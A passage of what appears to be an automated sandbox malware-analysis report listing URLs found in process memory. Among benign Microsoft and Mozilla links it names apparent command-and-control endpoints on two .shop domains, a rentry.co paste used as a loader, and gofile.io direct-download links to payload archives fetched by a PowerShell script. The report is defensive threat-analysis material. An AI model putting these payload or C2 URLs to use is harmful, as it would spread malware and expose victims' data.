Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1714271220.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BitLockerToGo.exe, 0000000D.00000002.2710534110.0000000003021000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666659329.000000000301D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666787335.0000000003020000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2632557485.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2706400829.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666377646.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/
Source: BitLockerToGo.exe, 0000000D.00000003.2645696277.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666343449.0000000003019000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666871415.0000000003022000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666696277.000000000301E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666017373.0000000003011000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644409478.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644907653.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666659329.000000000301D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666787335.0000000003020000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/&
Source: BitLockerToGo.exe, 0000000D.00000003.2666343449.0000000003019000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666871415.0000000003022000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666696277.000000000301E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666017373.0000000003011000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666659329.000000000301D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666787335.0000000003020000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/1
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2705841267.0000000003016000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644907653.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.2709297632.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.2710036520.0000000003016000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2706400829.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2645696277.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.2709297632.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644409478.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2631526881.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2666377646.0000000002F9F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644907653.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2613784729.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2631526881.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644907653.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2612260038.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2684009492.0000000003016000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2632557485.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2706400829.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2645696277.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2645696277.0000000002F9F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/api
Source: BitLockerToGo.exe, 0000000D.00000003.2631526881.000000000300D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/api3QFjF/HP
Source: BitLockerToGo.exe, 0000000D.00000002.2709297632.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2706400829.000000000300D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/apiD
Source: BitLockerToGo.exe, 0000000D.00000003.2705841267.0000000003016000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000002.2710036520.0000000003016000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/apill
Source: BitLockerToGo.exe, 0000000D.00000003.2645696277.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644409478.000000000300D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2644907653.000000000300D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop/apincod
Source: BitLockerToGo.exe, 0000000D.00000003.2631526881.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2632557485.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://callosallsaospz.shop:443/api
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 0000000E.00000002.2777085480.000002EC3E13C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.2777085480.000002EC3E13C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.2777085480.000002EC3E13C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1716518107.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.com
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E2F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2FAC9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: lm.exe, 00000013.00000002.3175149094.0000000003100000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2950433978.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736909869.0000000000611000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736615115.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000002.3175149094.000000000310B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/
Source: lm.exe, 00000013.00000002.3175149094.0000000003100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/-
Source: lm.exe, 00000013.00000003.2736909869.0000000000611000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736615115.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/0
Source: lm.exe, 00000013.00000003.2736909869.0000000000611000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736615115.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/N
Source: lm.exe, 00000013.00000002.3175149094.0000000003100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/S
Source: lm.exe, 00000013.00000003.2832025974.0000000000613000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2830110398.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2950711988.0000000003112000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736909869.0000000000611000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000002.3175149094.0000000003113000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736615115.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/api
Source: lm.exe, 00000013.00000002.3181333453.0000000003340000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/apiH7%
Source: lm.exe, 00000013.00000003.2951586397.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000002.3159798781.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2950433978.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736909869.0000000000611000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736615115.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/apiN
Source: lm.exe, 00000013.00000002.3159798781.00000000005E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/apihop
Source: lm.exe, 00000013.00000003.2951586397.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000002.3159798781.0000000000610000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2950433978.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/apii
Source: lm.exe, 00000013.00000002.3175149094.0000000003113000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/apitg
Source: lm.exe, 00000013.00000002.3175149094.0000000003113000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/apiyi
Source: lm.exe, 00000013.00000003.2736909869.0000000000611000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2736615115.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/q
Source: lm.exe, 00000013.00000002.3175149094.0000000003122000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop:443/api
Source: powershell.exe, 0000000E.00000002.2777085480.000002EC3E13C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000001.00000000.1716518107.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1716518107.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.comcember
Source: BD9E.exe, 0000000A.00000002.2843609071.000001DCCE409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://rentry.co
Source: BD9E.exe, 0000000A.00000002.2843609071.000001DCCE409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://rentry.co/mi
Source: BD9E.exe, 0000000A.00000002.2916663972.000001DCE9816000.00000004.00000020.00020000.00000000.sdmp, BD9E.exe, 0000000A.00000002.2843609071.000001DCCE388000.00000004.00000800.00020000.00000000.sdmp, BD9E.exe, 0000000A.00000002.2843609071.000001DCCE409000.00000004.00000800.00020000.00000000.sdmp, BD9E.exe, 0000000A.00000002.2843609071.000001DCCE2D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://rentry.co/microgods/raw
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E2F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2F78B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://store4.gofile.io
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E2F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2F78B000.00000004.00000800.00020000.00000000.sdmp, rentry-script.ps1.10.dr String found in binary or memory: https://store4.gofile.io/download/direct/0656c5cf-51b4-4fa4-ae48-8ee5ed3d142e/lm.zip
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E2F7000.00000004.00000800.00020000.00000000.sdmp, rentry-script.ps1.10.dr String found in binary or memory: https://store4.gofile.io/download/direct/6b24ec97-2a8d-468d-a24d-c8081cda1dab/vm.zip
Source: BitLockerToGo.exe, 0000000D.00000003.2616014173.0000000004F9E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2737079544.0000000003346000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 0000000D.00000003.2616014173.0000000004F9C000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2739860037.0000000003173000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2741746788.0000000003173000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2737079544.0000000003346000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: lm.exe, 00000013.00000003.2737691156.000000000314F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 0000000D.00000003.2616014173.0000000004F9C000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2739860037.0000000003173000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2741746788.0000000003173000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2737079544.0000000003346000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: lm.exe, 00000013.00000003.2737691156.000000000314F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1716518107.000000000C557000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1716518107.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.com
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 0000000D.00000003.2647522182.0000000003030000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 0000000D.00000003.2646800231.0000000005065000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 0000000D.00000003.2646800231.0000000005065000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2789712158.0000000003568000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: BD9E.exe.1.dr String found in binary or memory: https://www.ssl.com/repository0
